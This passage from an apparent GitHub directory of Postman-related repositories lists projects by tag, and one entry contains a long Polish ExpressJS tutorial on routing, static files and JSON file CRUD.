you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
dapinitial/SimpleServer
bcrypt, initial, parse, parser, route, test, tested 		Simple Server with Authentication Middleware using Node, Express, Mongoose, MongoDB, Morgan, body-parser, bcrypt, JWT, and Passport. Boilerplate per usual, route-tested with Postman and RoboMongo. 0 stars 0 watchers 1 forks
m3dsec/redis_exploit
exploit, initial, machine, redis 		Exploit i used to get the initial shell on POSTMAN machine from HTB 0 stars 0 watchers 1 forks
BitBrew/bbhub-postman
form, initial, platform, script, scripts, select, setup 		Postman scripts for select platform APIs, to aid in initial setup. 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks

mocks (5 listings) (Back to Top)

flftfqwxf/mockserver
data, mock, mocks, mockserver, server, tool, tools 		Mockserver is a mock data tools and switch between mock data and real data,【一个用于前后分离时模拟数据的web系统，并可在直实数据与实际数据中自由切换】 317 stars 317 watchers 97 forks
lezginaksoy/angular8-metronicAdmin-mockserver
angular, metro, mock, mocks, mockserver, server 		Angular 8,Metronic Theme and Postman MockServer 2 stars 2 watchers 1 forks
haripriya12/edyst-s19-medium-clone-postman-mockserver
clone, description, mock, mocks, mockserver, script, server 		No description available. 0 stars 0 watchers 0 forks
codeasashu/python-postman-restmocker
application, example, exposes, flask, host, local, mock, mocks, python, rest 		This python exposes a flask application which mocks your postman example on localhost 0 stars 0 watchers 0 forks
NageshJoy007/api-tests-postman-mockserver
mock, mocks, mockserver, server, server., smart, test, tests 		Write your api tests in a smart way using postman mock server. 0 stars 0 watchers 0 forks

converts (5 listings) (Back to Top)

rupeshmore/dakiya
collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool 		Dakiya: converts Postman collections to load testing tool scripts 25 stars 25 watchers 6 forks
iaincollins/jess
collection, collections, convert, converts, jess 		Jess converts Postman API collections to JavaScript libraries 2 stars 2 watchers 0 forks
theScimus/postman_to_jmeter_converter
convert, converte, converter, converts, jmeter, postman tests, script, test, tests 		A small script that converts postman tests into JMeter load tests 0 stars 0 watchers 3 forks
tagip/blueman
collection, convert, converts, file, image, print 		Docker image that converts an API Blueprint AST file to a Postman collection 1 stars 1 watchers 0 forks
ntiss/postmanToStoplightConverter
collection, collections, convert, converts, environment, environments, light, tool 		This tool converts Postman collections (or environments) to Stoplight collections (or environments) 0 stars 0 watchers 1 forks

dependencies (5 listings) (Back to Top)

kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
akshaymittal143/backend-webservice-using-Node-and-Express
backend, dependencies, service, services, webservice 		This is a project for web services using Node and Express with other dependencies 0 stars 0 watchers 0 forks
karthick-git/Newman-Framework-Node-App
automat, automation, bundle, bundled, dependencies, framework, newman, node 		This repository contains an API automation framework project. It's built with Postman's newman CLI as core. It's bundled with the node dependencies and can be deployed directly in PCF. 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
MChodap1/postman-CI-demo
collection, dependencies, node, postman collection 		This repository contains a node project with the dependencies to run postman collection 0 stars 0 watchers 0 forks

monitoring (5 listings) (Back to Top)

johntenezaca7/Postman-USG
automat, automate, automated, monitor, monitoring, system, test, testing 		Using Postman's Newman and Jenkins to create a monitoring system for an automated testing suite. 0 stars 0 watchers 0 forks
rakiashi/goRest-API-validation-and-monitoring-using-POSTMAN
description, monitor, monitoring, script, validation 		No description available. 0 stars 0 watchers 0 forks
ForgeRock/ob-postman-monitoring-lambda
lambda, monitor, monitoring 		ob postman monitoring lambda 0 stars 0 watchers 0 forks
shruti-14/postman_collection_monitoring
collection, data, elastic, monitor, monitoring, newman, node, postman collection, storing 		Monitoring postman collection using newman node and storing data in elastic serach 0 stars 0 watchers 0 forks
timmah1991/IDPA_Monitoring
match, monitor, monitoring, notification, notify, public, script, user 		Simple postman monitoring script for notifying user when a new IDPA match is posted (before public notification) 0 stars 0 watchers 0 forks

filter (5 listings) (Back to Top)

mynewsdesk/postman
email, event, filter, mail, news 		Search and filter Sendgrid email events 5 stars 5 watchers 0 forks
cynepton/Udagram-my-own-instagram-on-AWS
application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users 		My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. 1 stars 1 watchers 0 forks
akshay1708/SportItems
angular, filter, operation, operations 		Custom filter and pagination in angular js. MEAN stack app. Use postman for post and delete operations 0 stars 0 watchers 0 forks
mustafaalkan64/nodejs-express-filter-api-sample-project
express, filter, node, nodejs, sample 		Nodejs Express Filter Api Sample Project 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks

notes (5 listings) (Back to Top)

cokewolf/Python_Web_Notebooks
book, books, note, notes 		Learning notes on Python, Flask, SQLAlchemy, SQL, Psycopg2, Postman, etc 0 stars 0 watchers 0 forks
DhamuSniper/REST-API-for-notes-CRUD-TESTING-with-POSTMAN-TESTING-API
endpoint, endpoints, note, notes, test, tested 		This app create notes based GET, POST, PUT, DELETE endpoints. This endpoint have been tested with POSTMAN API TESTING TOOL 0 stars 0 watchers 0 forks
kerem-caglar/postman
note, notes, personal 		personal notes on postman 0 stars 0 watchers 0 forks
matei-tm/postman-howto
